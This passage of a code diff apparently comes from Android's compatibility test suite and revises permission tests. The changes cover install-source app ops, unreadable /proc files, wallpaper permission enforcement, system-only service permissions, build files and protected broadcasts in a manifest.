import android.support.test.InstrumentationRegistry;
-import android.support.test.filters.MediumTest;
+import android.support.test.filters.SmallTest;
import android.support.test.runner.AndroidJUnit4;
-import android.support.test.uiautomator.By;
-import android.support.test.uiautomator.BySelector;
import android.support.test.uiautomator.UiDevice;
-import android.support.test.uiautomator.UiObject2;
-import android.support.test.uiautomator.Until;
-import android.support.v4.content.FileProvider;
-import android.util.Log;
import org.junit.After;
import org.junit.Assert;
import org.junit.Before;
-import org.junit.BeforeClass;
import org.junit.Test;
import org.junit.runner.RunWith;
-import java.io.File;
-import java.io.FileInputStream;
-import java.io.FileOutputStream;
import java.io.IOException;
@RunWith(AndroidJUnit4.class)
-@MediumTest
+@SmallTest
public class ExternalSourcesTest {
- private static final String TAG = ExternalSourcesTest.class.getSimpleName();
- private static final String TEST_APK_NAME = "CtsEmptyTestApp.apk";
- private static final String TEST_APK_EXTERNAL_LOCATION = "/data/local/tmp/cts/externalsources";
- private static final String CONTENT_AUTHORITY =
- "android.packageinstaller.externalsources.cts.fileprovider";
- private static final String PACKAGE_INSTALLER_PACKAGE_NAME = "com.android.packageinstaller";
- private static final String INSTALL_CONFIRM_TEXT_ID = "install_confirm_question";
- private static final String WM_DISMISS_KEYGUARD_COMMAND = "wm dismiss-keyguard";
- private static final String ALERT_DIALOG_TITLE_ID = "android:id/alertTitle";
-
- private static final long WAIT_FOR_UI_TIMEOUT = 5000;
-
private Context mContext;
private PackageManager mPm;
- private Instrumentation mInstrumentation;
private String mPackageName;
- private File mApkFile;
private UiDevice mUiDevice;
-
- @BeforeClass
- public static void setUpOnce() throws IOException {
- File srcApkFile = new File(TEST_APK_EXTERNAL_LOCATION, TEST_APK_NAME);
- File destApkFile = new File(InstrumentationRegistry.getTargetContext().getFilesDir(),
- TEST_APK_NAME);
- copyFile(srcApkFile, destApkFile);
- }
+ private boolean mHasFeature;
@Before
public void setUp() throws Exception {
mContext = InstrumentationRegistry.getTargetContext();
- mInstrumentation = InstrumentationRegistry.getInstrumentation();
mPm = mContext.getPackageManager();
mPackageName = mContext.getPackageName();
- mApkFile = new File(mContext.getFilesDir(), TEST_APK_NAME);
- mUiDevice = UiDevice.getInstance(mInstrumentation);
- if (!mUiDevice.isScreenOn()) {
- mUiDevice.wakeUp();
- }
- mUiDevice.executeShellCommand(WM_DISMISS_KEYGUARD_COMMAND);
- }
-
- private static void copyFile(File srcFile, File destFile) throws IOException {
- if (destFile.exists()) {
- destFile.delete();
- }
- FileInputStream inputStream = new FileInputStream(srcFile);
- FileOutputStream out = new FileOutputStream(destFile);
- try {
- byte[] buffer = new byte[4096];
- int bytesRead;
- while ((bytesRead = inputStream.read(buffer)) >= 0) {
- out.write(buffer, 0, bytesRead);
- }
- Log.d(TAG, "copied file " + srcFile + " to " + destFile);
- } finally {
- out.flush();
- try {
- out.getFD().sync();
- } catch (IOException e) {
- }
- out.close();
- inputStream.close();
- }
- }
-
- private void launchPackageInstaller() {
- Intent intent = new Intent(Intent.ACTION_INSTALL_PACKAGE);
- intent.setData(FileProvider.getUriForFile(mContext, CONTENT_AUTHORITY, mApkFile));
- intent.setFlags(Intent.FLAG_GRANT_READ_URI_PERMISSION);
- Log.d(TAG, "Starting intent with uri " + intent.getDataString());
- mContext.startActivity(intent);
- }
-
- private void assertInstallAllowed(String errorMessage) {
- BySelector selector = By.res(PACKAGE_INSTALLER_PACKAGE_NAME, INSTALL_CONFIRM_TEXT_ID);
- UiObject2 uiObject = mUiDevice.wait(Until.findObject(selector), WAIT_FOR_UI_TIMEOUT);
- Assert.assertNotNull(errorMessage, uiObject);
- mUiDevice.pressBack();
- }
-
- private void assertInstallBlocked(String errorMessage) {
- BySelector selector = By.res(ALERT_DIALOG_TITLE_ID);
- UiObject2 settingsButton = mUiDevice.wait(Until.findObject(selector), WAIT_FOR_UI_TIMEOUT);
- Assert.assertNotNull(errorMessage, settingsButton);
- mUiDevice.pressBack();
+ mUiDevice = UiDevice.getInstance(InstrumentationRegistry.getInstrumentation());
+ mHasFeature = !mContext.getPackageManager().hasSystemFeature(PackageManager.FEATURE_WATCH);
}
private void setAppOpsMode(String mode) throws IOException {
@@ -144,35 +63,39 @@
@Test
public void blockedSourceTest() throws Exception {
setAppOpsMode("deny");
- boolean isTrusted = mPm.canRequestPackageInstalls();
+ final boolean isTrusted = mPm.canRequestPackageInstalls();
Assert.assertFalse("Package " + mPackageName
+ " allowed to install packages after setting app op to errored", isTrusted);
- launchPackageInstaller();
- assertInstallBlocked("Install blocking dialog not shown when app op set to errored");
}
@Test
public void allowedSourceTest() throws Exception {
setAppOpsMode("allow");
- boolean isTrusted = mPm.canRequestPackageInstalls();
+ final boolean isTrusted = mPm.canRequestPackageInstalls();
Assert.assertTrue("Package " + mPackageName
+ " blocked from installing packages after setting app op to allowed", isTrusted);
- launchPackageInstaller();
- assertInstallAllowed("Install confirmation not shown when app op set to allowed");
}
@Test
public void defaultSourceTest() throws Exception {
- boolean isTrusted = mPm.canRequestPackageInstalls();
+ setAppOpsMode("default");
+ final boolean isTrusted = mPm.canRequestPackageInstalls();
Assert.assertFalse("Package " + mPackageName
+ " with default app ops state allowed to install packages", isTrusted);
- launchPackageInstaller();
- assertInstallBlocked("Install blocking dialog not shown when app op set to default");
+ }
+
+ @Test
+ public void testManageUnknownSourcesExists() {
+ if (!mHasFeature) {
+ return;
+ }
+ Intent manageUnknownSources = new Intent(Settings.ACTION_MANAGE_UNKNOWN_APP_SOURCES);
+ ResolveInfo info = mPm.resolveActivity(manageUnknownSources, 0);
+ Assert.assertNotNull("No activity found for " + manageUnknownSources.getAction(), info);
}
@After
public void tearDown() throws Exception {
- mUiDevice.pressHome();
setAppOpsMode("default");
}
}
diff --git a/tests/tests/permission/Android.mk b/tests/tests/permission/Android.mk
index 68fa193..e86a56d 100644
--- a/tests/tests/permission/Android.mk
+++ b/tests/tests/permission/Android.mk
@@ -22,7 +22,7 @@
LOCAL_MODULE_PATH := $(TARGET_OUT_DATA_APPS)
# Tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts
+LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
# Include both the 32 and 64 bit versions
LOCAL_MULTILIB := both
@@ -33,7 +33,8 @@
ctstestrunner \
guava \
android-ex-camera2 \
- legacy-android-test
+ legacy-android-test \
+ compatibility-device-util
LOCAL_JNI_SHARED_LIBRARIES := libctspermission_jni libnativehelper_compat_libc++
diff --git a/tests/tests/permission/jni/Android.mk b/tests/tests/permission/jni/Android.mk
index 91c0540..2e64d47 100644
--- a/tests/tests/permission/jni/Android.mk
+++ b/tests/tests/permission/jni/Android.mk
@@ -31,4 +31,6 @@
LOCAL_SDK_VERSION := 23
LOCAL_CPPFLAGS := -std=gnu++11
+LOCAL_CFLAGS := -Wno-unused-parameter
+
include $(BUILD_SHARED_LIBRARY)
diff --git a/tests/tests/permission/res/drawable/robot.png b/tests/tests/permission/res/drawable/robot.png
new file mode 100644
index 0000000..8a9e698
--- /dev/null
+++ b/tests/tests/permission/res/drawable/robot.png
Binary files differ
diff --git a/tests/tests/permission/src/android/permission/cts/Camera2PermissionTest.java b/tests/tests/permission/src/android/permission/cts/Camera2PermissionTest.java
index e40d7cb..140557f 100644
--- a/tests/tests/permission/src/android/permission/cts/Camera2PermissionTest.java
+++ b/tests/tests/permission/src/android/permission/cts/Camera2PermissionTest.java
@@ -27,6 +27,8 @@
import android.test.AndroidTestCase;
import android.util.Log;
+import com.android.compatibility.common.util.CddTest;
+
import com.android.ex.camera2.blocking.BlockingCameraManager;
import com.android.ex.camera2.blocking.BlockingStateCallback;
@@ -34,6 +36,7 @@
* Tests for Camera2 API related Permissions. Currently, this means
* android.permission.CAMERA.
*/
+@CddTest(requirement="3.2.1/C-0-1,9.1/C-0-1")
public class Camera2PermissionTest extends AndroidTestCase {
private static final String TAG = "CameraDeviceTest";
private static final boolean VERBOSE = Log.isLoggable(TAG, Log.VERBOSE);
diff --git a/tests/tests/permission/src/android/permission/cts/FileSystemPermissionTest.java b/tests/tests/permission/src/android/permission/cts/FileSystemPermissionTest.java
index 3a97129..25c686b 100644
--- a/tests/tests/permission/src/android/permission/cts/FileSystemPermissionTest.java
+++ b/tests/tests/permission/src/android/permission/cts/FileSystemPermissionTest.java
@@ -28,6 +28,8 @@
import android.test.suitebuilder.annotation.MediumTest;
import android.test.suitebuilder.annotation.LargeTest;
+import com.android.compatibility.common.util.CddTest;
+
import java.io.BufferedReader;
import java.io.File;
import java.io.FileDescriptor;
@@ -63,6 +65,7 @@
*
* TODO: Combine this file with {@link android.os.cts.FileAccessPermissionTest}
*/
+@CddTest(requirement="9.3/C-0-1")
public class FileSystemPermissionTest extends AndroidTestCase {
@MediumTest
@@ -169,6 +172,24 @@
assertFalse(f.canExecute());
}
+ /* b/26813932 */
+ @MediumTest
+ public void testProcInterruptsNotReadable() throws Exception {
+ File f = new File("/proc/interrupts");
+ assertFalse(f.canRead());
+ assertFalse(f.canWrite());
+ assertFalse(f.canExecute());
+ }
+
+ /* b/26813932 */
+ @MediumTest
+ public void testProcStatNotReadable() throws Exception {
+ File f = new File("/proc/stat");
+ assertFalse(f.canRead());
+ assertFalse(f.canWrite());
+ assertFalse(f.canExecute());
+ }
+
@MediumTest
public void testDevMemSane() throws Exception {
File f = new File("/dev/mem");
diff --git a/tests/tests/permission/src/android/permission/cts/NoAudioPermissionTest.java b/tests/tests/permission/src/android/permission/cts/NoAudioPermissionTest.java
index f3c5ae8..b695840 100644
--- a/tests/tests/permission/src/android/permission/cts/NoAudioPermissionTest.java
+++ b/tests/tests/permission/src/android/permission/cts/NoAudioPermissionTest.java
@@ -21,9 +21,12 @@
import android.test.AndroidTestCase;
import android.test.suitebuilder.annotation.SmallTest;
+import com.android.compatibility.common.util.CddTest;
+
/**
* Verify the audio related operations require specific permissions.
*/
+@CddTest(requirement="3.2.1/C-0-1,9.1/C-0-1")
public class NoAudioPermissionTest extends AndroidTestCase {
private AudioManager mAudioManager;
private static final int MODE_COUNT = 3;
diff --git a/tests/tests/permission/src/android/permission/cts/NoBroadcastPackageRemovedPermissionTest.java b/tests/tests/permission/src/android/permission/cts/NoBroadcastPackageRemovedPermissionTest.java
index 5630c5b..b0223a8 100644
--- a/tests/tests/permission/src/android/permission/cts/NoBroadcastPackageRemovedPermissionTest.java
+++ b/tests/tests/permission/src/android/permission/cts/NoBroadcastPackageRemovedPermissionTest.java
@@ -21,9 +21,12 @@
import android.test.AndroidTestCase;
import android.test.suitebuilder.annotation.SmallTest;
+import com.android.compatibility.common.util.CddTest;
+
/**
* Verify Context related methods without specific BROADCAST series permissions.
*/
+@CddTest(requirement="3.2.1/C-0-1,9.1/C-0-1")
public class NoBroadcastPackageRemovedPermissionTest extends AndroidTestCase {
private static final String TEST_RECEIVER_PERMISSION = "receiverPermission";
diff --git a/tests/tests/permission/src/android/permission/cts/NoLocationPermissionTest.java b/tests/tests/permission/src/android/permission/cts/NoLocationPermissionTest.java
index 8fd4a59..9b2ec15 100644
--- a/tests/tests/permission/src/android/permission/cts/NoLocationPermissionTest.java
+++ b/tests/tests/permission/src/android/permission/cts/NoLocationPermissionTest.java
@@ -31,11 +31,14 @@
import android.test.suitebuilder.annotation.SmallTest;
import android.test.UiThreadTest;
+import com.android.compatibility.common.util.CddTest;
+
import java.util.List;
/**
* Verify the location access without specific permissions.
*/
+@CddTest(requirement="3.2.1/C-0-1,9/C-0-1,9.1/C-0-1")
public class NoLocationPermissionTest extends InstrumentationTestCase {
private static final String TEST_PROVIDER_NAME = "testProvider";
@@ -127,7 +130,7 @@
/**
* Helper method to verify that calling requestLocationUpdates with given
* provider throws SecurityException.
- *
+ *
* @param provider the String provider name.
*/
private void checkRequestLocationUpdates(String provider) {
@@ -198,7 +201,7 @@
/**
* Helper method to verify that calling getLastKnownLocation with given
* provider throws SecurityException.
- *
+ *
* @param provider the String provider name.
*/
private void checkGetLastKnownLocation(String provider) {
@@ -241,7 +244,7 @@
/**
* Helper method to verify that calling getProvider with given provider
* throws SecurityException.
- *
+ *
* @param provider the String provider name.
*/
private void checkGetProvider(String provider) {
diff --git a/tests/tests/permission/src/android/permission/cts/NoReadLogsPermissionTest.java b/tests/tests/permission/src/android/permission/cts/NoReadLogsPermissionTest.java
index 7b3799d..0ab61f5 100644
--- a/tests/tests/permission/src/android/permission/cts/NoReadLogsPermissionTest.java
+++ b/tests/tests/permission/src/android/permission/cts/NoReadLogsPermissionTest.java
@@ -24,6 +24,8 @@
import android.test.suitebuilder.annotation.MediumTest;
import android.util.Log;
+import com.android.compatibility.common.util.CddTest;
+
import java.io.BufferedReader;
import java.io.File;
import java.io.IOException;
@@ -32,6 +34,7 @@
/**
* Verify the read system log require specific permissions.
*/
+@CddTest(requirement="3.2.1/C-0-1,9/C-0-1,9.1/C-0-1")
public class NoReadLogsPermissionTest extends AndroidTestCase {
/**
* Verify that we'll only get our logs without the READ_LOGS permission.
diff --git a/tests/tests/permission/src/android/permission/cts/NoWallpaperPermissionsTest.java b/tests/tests/permission/src/android/permission/cts/NoWallpaperPermissionsTest.java
new file mode 100644
index 0000000..ad32923
--- /dev/null
+++ b/tests/tests/permission/src/android/permission/cts/NoWallpaperPermissionsTest.java
@@ -0,0 +1,172 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+
+package android.permission.cts;
+
+import android.app.WallpaperManager;
+import android.content.Context;
+import android.graphics.Bitmap;
+import android.media.MediaPlayer;
+import android.net.wifi.WifiManager;
+import android.net.wifi.WifiManager.WifiLock;
+import android.os.PowerManager;
+import android.test.AndroidTestCase;
+import android.test.suitebuilder.annotation.SmallTest;
+
+import java.io.ByteArrayInputStream;
+import java.io.IOException;
+
+import static android.app.WallpaperManager.FLAG_SYSTEM;
+import static android.app.WallpaperManager.FLAG_LOCK;
+
+/**
+ * Verify that Wallpaper-related operations enforce the correct permissions.
+ */
+public class NoWallpaperPermissionsTest extends AndroidTestCase {
+ private WallpaperManager mWM;
+
+ @Override
+ protected void setUp() throws Exception {
+ super.setUp();
+ mWM = (WallpaperManager) mContext.getSystemService(Context.WALLPAPER_SERVICE);
+ }
+
+ /**
+ * Verify that the setResource(...) methods enforce the SET_WALLPAPER permission
+ */
+ @SmallTest
+ public void testSetResource() throws IOException {
+ if (wallpaperNotSupported()) {
+ return;
+ }
+
+ try {
+ mWM.setResource(R.drawable.robot);
+ fail("WallpaperManager.setResource(id) did not enforce SET_WALLPAPER");
+ } catch (SecurityException expected) { /* expected */ }
+
+ try {
+ mWM.setResource(R.drawable.robot, FLAG_LOCK);
+ fail("WallpaperManager.setResource(id, which) did not enforce SET_WALLPAPER");
+ } catch (SecurityException expected) { /* expected */ }
+ }
+
+ /**
+ * Verify that the setBitmap(...) methods enforce the SET_WALLPAPER permission
+ */
+ @SmallTest
+ public void testSetBitmap() throws IOException {
+ if (wallpaperNotSupported()) {
+ return;
+ }
+
+ Bitmap b = Bitmap.createBitmap(160, 120, Bitmap.Config.RGB_565);
+
+ try {
+ mWM.setBitmap(b);
+ fail("setBitmap(b) did not enforce SET_WALLPAPER");
+ } catch (SecurityException expected) { /* expected */ }
+
+ try {
+ mWM.setBitmap(b, null, false);
+ fail("setBitmap(b, crop, allowBackup) did not enforce SET_WALLPAPER");
+ } catch (SecurityException expected) { /* expected */ }
+
+ try {
+ mWM.setBitmap(b, null, false, FLAG_SYSTEM);
+ fail("setBitmap(b, crop, allowBackup, which) did not enforce SET_WALLPAPER");
+ } catch (SecurityException expected) { /* expected */ }
+ }
+
+ /**
+ * Verify that the setStream(...) methods enforce the SET_WALLPAPER permission
+ */
+ @SmallTest
+ public void testSetStream() throws IOException {
+ if (wallpaperNotSupported()) {
+ return;
+ }
+
+ ByteArrayInputStream stream = new ByteArrayInputStream(new byte[32]);
+
+ try {
+ mWM.setStream(stream);
+ fail("setStream(stream) did not enforce SET_WALLPAPER");
+ } catch (SecurityException expected) { /* expected */ }
+
+ try {
+ mWM.setStream(stream, null, false);
+ fail("setStream(stream, crop, allowBackup) did not enforce SET_WALLPAPER");
+ } catch (SecurityException expected) { /* expected */ }
+
+ try {
+ mWM.setStream(stream, null, false, FLAG_LOCK);
+ fail("setStream(stream, crop, allowBackup, which) did not enforce SET_WALLPAPER");
+ } catch (SecurityException expected) { /* expected */ }
+ }
+
+ /**
+ * Verify that the clearWallpaper(...) methods enforce the SET_WALLPAPER permission
+ */
+ @SmallTest
+ public void testClearWallpaper() throws IOException {
+ if (wallpaperNotSupported()) {
+ return;
+ }
+
+ try {
+ mWM.clear();
+ fail("clear() did not enforce SET_WALLPAPER");
+ } catch (SecurityException expected) { /* expected */ }
+
+ try {
+ mWM.clear(FLAG_SYSTEM);
+ fail("clear(which) did not enforce SET_WALLPAPER");
+ } catch (SecurityException expected) { /* expected */ }
+ }
+
+ /**
+ * Verify that reading the current wallpaper requires READ_EXTERNAL_STORAGE
+ */
+ @SmallTest
+ public void testReadWallpaper() {
+ if (wallpaperNotSupported()) {
+ return;
+ }
+
+ try {
+ /* ignore result */ mWM.getFastDrawable();
+ fail("getFastDrawable() did not enforce READ_EXTERNAL_STORAGE");
+ } catch (SecurityException expected) { /* expected */ }
+
+ try {
+ /* ignore result */ mWM.peekFastDrawable();
+ fail("peekFastDrawable() did not enforce READ_EXTERNAL_STORAGE");
+ } catch (SecurityException expected) { /* expected */ }
+
+ try {
+ /* ignore result */ mWM.getWallpaperFile(FLAG_SYSTEM);
+ fail("getWallpaperFile(FLAG_SYSTEM) did not enforce READ_EXTERNAL_STORAGE");
+ } catch (SecurityException expected) { /* expected */ }
+ }
+
+ // ---------- Utility methods ----------
+
+ private boolean wallpaperNotSupported() {
+ return !(mWM.isWallpaperSupported() && mWM.isSetWallpaperAllowed());
+ }
+}
diff --git a/tests/tests/permission/src/android/permission/cts/NoWifiStatePermissionTest.java b/tests/tests/permission/src/android/permission/cts/NoWifiStatePermissionTest.java
index 3c7b80e..122ed0f 100644
--- a/tests/tests/permission/src/android/permission/cts/NoWifiStatePermissionTest.java
+++ b/tests/tests/permission/src/android/permission/cts/NoWifiStatePermissionTest.java
@@ -22,9 +22,12 @@
import android.test.AndroidTestCase;
import android.test.suitebuilder.annotation.SmallTest;
+import com.android.compatibility.common.util.CddTest;
+
/**
* Verify WifiManager related methods without specific Wifi state permissions.
*/
+@CddTest(requirement="3.2.1/C-0-1,9/C-0-1,9.1/C-0-1")
@SmallTest
public class NoWifiStatePermissionTest extends AndroidTestCase {
private static final int TEST_NET_ID = 1;
diff --git a/tests/tests/permission/src/android/permission/cts/PackageManagerRequiringPermissionsTest.java b/tests/tests/permission/src/android/permission/cts/PackageManagerRequiringPermissionsTest.java
index 2bfef62..764513c 100644
--- a/tests/tests/permission/src/android/permission/cts/PackageManagerRequiringPermissionsTest.java
+++ b/tests/tests/permission/src/android/permission/cts/PackageManagerRequiringPermissionsTest.java
@@ -22,9 +22,12 @@
import android.test.AndroidTestCase;
import android.test.suitebuilder.annotation.SmallTest;
+import com.android.compatibility.common.util.CddTest;
+
/**
* Verify the PackageManager related operations require specific permissions.
*/
+@CddTest(requirement="3.2.1/C-0-1,9/C-0-1,9.1/C-0-1")
@SmallTest
public class PackageManagerRequiringPermissionsTest extends AndroidTestCase {
// Must be a known-present application package other than the one hosting this class
diff --git a/tests/tests/permission/src/android/permission/cts/ServicePermissionTest.java b/tests/tests/permission/src/android/permission/cts/ServicePermissionTest.java
new file mode 100644
index 0000000..6c10f1d
--- /dev/null
+++ b/tests/tests/permission/src/android/permission/cts/ServicePermissionTest.java
@@ -0,0 +1,75 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.permission.cts;
+
+import android.content.pm.PackageInfo;
+import android.content.pm.PackageManager;
+import android.test.AndroidTestCase;
+
+import java.util.ArrayList;
+import java.util.List;
+import java.util.Objects;
+
+/**
+ * The security designs of many system features require that a special
+ * permission is only ever granted to the core system (typically
+ * {@code system_server}), since it's the only process that should be binding
+ * into sensitive app code.
+ * <p>
+ * No apps outside the {@code system_server} should <em>ever</em> attempt to
+ * acquire these permissions.
+ */
+public class ServicePermissionTest extends AndroidTestCase {
+ public static String[] sServicePermissions = {
+ android.Manifest.permission.ACCOUNT_MANAGER,
+ android.Manifest.permission.BIND_ACCESSIBILITY_SERVICE,
+ android.Manifest.permission.BIND_AUTOFILL_SERVICE,
+ android.Manifest.permission.BIND_CHOOSER_TARGET_SERVICE,
+ android.Manifest.permission.BIND_CONDITION_PROVIDER_SERVICE,
+ // android.Manifest.permission.BIND_DEVICE_ADMIN,
+ android.Manifest.permission.BIND_DREAM_SERVICE,
+ android.Manifest.permission.BIND_INPUT_METHOD,
+ android.Manifest.permission.BIND_MIDI_DEVICE_SERVICE,
+ // android.Manifest.permission.BIND_NFC_SERVICE,
+ android.Manifest.permission.BIND_NOTIFICATION_LISTENER_SERVICE,
+ android.Manifest.permission.BIND_PRINT_SERVICE,
+ // android.Manifest.permission.BIND_QUICK_SETTINGS_TILE,
+ android.Manifest.permission.BIND_TEXT_SERVICE,
+ android.Manifest.permission.BIND_VOICE_INTERACTION,
+ android.Manifest.permission.BIND_VPN_SERVICE,
+ android.Manifest.permission.BIND_VR_LISTENER_SERVICE,
+ };
+
+ public void testServicePermissions() {
+ final PackageManager pm = getContext().getPackageManager();
+
+ final List<String> failures = new ArrayList<>();
+ for (String perm : sServicePermissions) {
+ final List<PackageInfo> holding = pm.getPackagesHoldingPermissions(
+ new String[] { perm }, PackageManager.MATCH_UNINSTALLED_PACKAGES);
+ for (PackageInfo pi : holding) {
+ if (!Objects.equals("android", pi.packageName)) {
+ failures.add(perm + " held by " + pi.packageName);
+ }
+ }
+ }
+ if (!failures.isEmpty()) {
+ fail("Found permissions granted to packages outside of the core system: "
+ + failures.toString());
+ }
+ }
+}
diff --git a/tests/tests/permission/src/android/permission/cts/TvPermissionTest.java b/tests/tests/permission/src/android/permission/cts/TvPermissionTest.java
index 4139059..4cd0257 100644
--- a/tests/tests/permission/src/android/permission/cts/TvPermissionTest.java
+++ b/tests/tests/permission/src/android/permission/cts/TvPermissionTest.java
@@ -22,9 +22,12 @@
import android.net.Uri;
import android.test.AndroidTestCase;
+import com.android.compatibility.common.util.CddTest;
+
/**
* Tests for TV API related permissions.
*/
+@CddTest(requirement="3.2/1/C-0-1,9/C-0-1,9.1/C-0-1")
public class TvPermissionTest extends AndroidTestCase {
private static final String DUMMY_INPUT_ID = "dummy";
diff --git a/tests/tests/permission2/Android.mk b/tests/tests/permission2/Android.mk
index d4f48f4..062aeb7 100755
--- a/tests/tests/permission2/Android.mk
+++ b/tests/tests/permission2/Android.mk
@@ -22,11 +22,14 @@
LOCAL_MODULE_PATH := $(TARGET_OUT_DATA_APPS)
# Tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts
+LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
LOCAL_JAVA_LIBRARIES := telephony-common
-LOCAL_STATIC_JAVA_LIBRARIES := compatibility-device-util ctstestrunner
+LOCAL_STATIC_JAVA_LIBRARIES := \
+ compatibility-device-util \
+ ctstestrunner \
+ legacy-android-test
LOCAL_SRC_FILES := $(call all-java-files-under, src)
diff --git a/tests/tests/permission2/res/raw/android_manifest.xml b/tests/tests/permission2/res/raw/android_manifest.xml
index 6050776..b23c6ab 100644
--- a/tests/tests/permission2/res/raw/android_manifest.xml
+++ b/tests/tests/permission2/res/raw/android_manifest.xml
@@ -94,6 +94,7 @@
<protected-broadcast android:name="android.os.action.POWER_SAVE_TEMP_WHITELIST_CHANGED" />
<protected-broadcast android:name="android.os.action.POWER_SAVE_MODE_CHANGED_INTERNAL" />
+ <!-- @deprecated This is rarely used and will be phased out soon. -->
<protected-broadcast android:name="android.os.action.SCREEN_BRIGHTNESS_BOOST_CHANGED" />
<protected-broadcast android:name="android.app.action.ENTER_CAR_MODE" />
@@ -146,6 +147,7 @@
<protected-broadcast android:name="android.bluetooth.device.action.CONNECTION_ACCESS_CANCEL" />
<protected-broadcast android:name="android.bluetooth.device.action.CONNECTION_ACCESS_REQUEST" />
<protected-broadcast android:name="android.bluetooth.device.action.SDP_RECORD" />
+ <protected-broadcast android:name="android.bluetooth.device.action.BATTERY_LEVEL_CHANGED" />
<protected-broadcast android:name="android.bluetooth.devicepicker.action.LAUNCH" />
<protected-broadcast android:name="android.bluetooth.devicepicker.action.DEVICE_SELECTED" />
<protected-broadcast
@@ -277,6 +279,7 @@
<protected-broadcast android:name="com.android.nfc.cardemulation.action.CLOSE_TAP_DIALOG" />
<protected-broadcast android:name="com.android.nfc.handover.action.ALLOW_CONNECT" />
<protected-broadcast android:name="com.android.nfc.handover.action.DENY_CONNECT" />
+ <protected-broadcast android:name="com.android.nfc.handover.action.TIMEOUT_CONNECT" />
<protected-broadcast android:name="com.android.nfc_extras.action.RF_FIELD_ON_DETECTED" />
<protected-broadcast android:name="com.android.nfc_extras.action.RF_FIELD_OFF_DETECTED" />
<protected-broadcast android:name="com.android.nfc_extras.action.AID_SELECTED" />
@@ -285,6 +288,7 @@
<protected-broadcast android:name="android.btopp.intent.action.STOP_HANDOVER_TRANSFER" />
<protected-broadcast android:name="android.nfc.handover.intent.action.HANDOVER_SEND" />
<protected-broadcast android:name="android.nfc.handover.intent.action.HANDOVER_SEND_MULTIPLE" />
+ <protected-broadcast android:name="com.android.nfc.handover.action.CANCEL_HANDOVER_TRANSFER" />
<protected-broadcast android:name="android.intent.action.CLEAR_DNS_CACHE" />
<protected-broadcast android:name="android.intent.action.PROXY_CHANGE" />
@@ -301,6 +305,7 @@
<protected-broadcast android:name="com.android.server.WifiManager.action.DEVICE_IDLE" />
<protected-broadcast android:name="com.android.server.action.REMOTE_BUGREPORT_SHARING_ACCEPTED" />
<protected-broadcast android:name="com.android.server.action.REMOTE_BUGREPORT_SHARING_DECLINED" />
+ <protected-broadcast android:name="com.android.internal.action.EUICC_FACTORY_RESET" />
<protected-broadcast android:name="com.android.server.usb.ACTION_OPEN_IN_APPS" />
<protected-broadcast android:name="com.android.server.am.DELETE_DUMPHEAP" />
<protected-broadcast android:name="com.android.server.net.action.SNOOZE_WARNING" />
@@ -453,6 +458,7 @@
<protected-broadcast android:name="com.android.server.NetworkTimeUpdateService.action.POLL" />
<protected-broadcast android:name="com.android.server.telecom.intent.action.CALLS_ADD_ENTRY" />
<protected-broadcast android:name="com.android.settings.location.MODE_CHANGING" />
+ <protected-broadcast android:name="com.android.settings.bluetooth.ACTION_DISMISS_PAIRING" />
<protected-broadcast android:name="NotificationManagerService.TIMEOUT" />
<protected-broadcast android:name="ScheduleConditionProvider.EVALUATE" />
@@ -539,6 +545,7 @@
<protected-broadcast android:name="android.media.tv.action.PREVIEW_PROGRAM_BROWSABLE_DISABLED" />
<protected-broadcast android:name="android.media.tv.action.WATCH_NEXT_PROGRAM_BROWSABLE_DISABLED" />
<protected-broadcast android:name="android.media.tv.action.CHANNEL_BROWSABLE_REQUESTED" />
+ <protected-broadcast android:name="com.android.server.InputMethodManagerService.SHOW_INPUT_METHOD_PICKER" />
<!-- ====================================================================== -->
<!-- RUNTIME PERMISSIONS -->
@@ -763,7 +770,7 @@
android:permissionGroup="android.permission-group.LOCATION"
android:label="@string/permlab_accessFineLocation"
android:description="@string/permdesc_accessFineLocation"
- android:protectionLevel="dangerous|ephemeral" />
+ android:protectionLevel="dangerous|instant" />
<!-- Allows an app to access approximate location.
Alternatively, you might want {@link #ACCESS_FINE_LOCATION}.
@@ -773,7 +780,7 @@
android:permissionGroup="android.permission-group.LOCATION"
android:label="@string/permlab_accessCoarseLocation"
android:description="@string/permdesc_accessCoarseLocation"
- android:protectionLevel="dangerous|ephemeral" />
+ android:protectionLevel="dangerous|instant" />
<!-- ====================================================================== -->
<!-- Permissions for accessing the device telephony -->
@@ -807,13 +814,13 @@
android:protectionLevel="dangerous" />
<!-- Allows read access to the device's phone number(s). This is a subset of the capabilities
- granted by {@link #READ_PHONE_STATE} but is exposed to ephemeral applications.
+ granted by {@link #READ_PHONE_STATE} but is exposed to instant applications.
<p>Protection level: dangerous-->
<permission android:name="android.permission.READ_PHONE_NUMBERS"
android:permissionGroup="android.permission-group.PHONE"
android:label="@string/permlab_readPhoneNumbers"
android:description="@string/permdesc_readPhoneNumbers"
- android:protectionLevel="dangerous|ephemeral" />
+ android:protectionLevel="dangerous|instant" />
<!-- Allows an application to initiate a phone call without going through
the Dialer user interface for the user to confirm the call.
@@ -945,25 +952,25 @@
android:permissionGroup="android.permission-group.MICROPHONE"
android:label="@string/permlab_recordAudio"
android:description="@string/permdesc_recordAudio"
- android:protectionLevel="dangerous|ephemeral"/>
+ android:protectionLevel="dangerous|instant"/>
<!-- ====================================================================== -->
<!-- Permissions for accessing the UCE Service -->
<!-- ====================================================================== -->
<!-- @hide Allows an application to Access UCE-Presence.
- <p>Protection level: dangerous
+ <p>Protection level: signature|privileged
-->
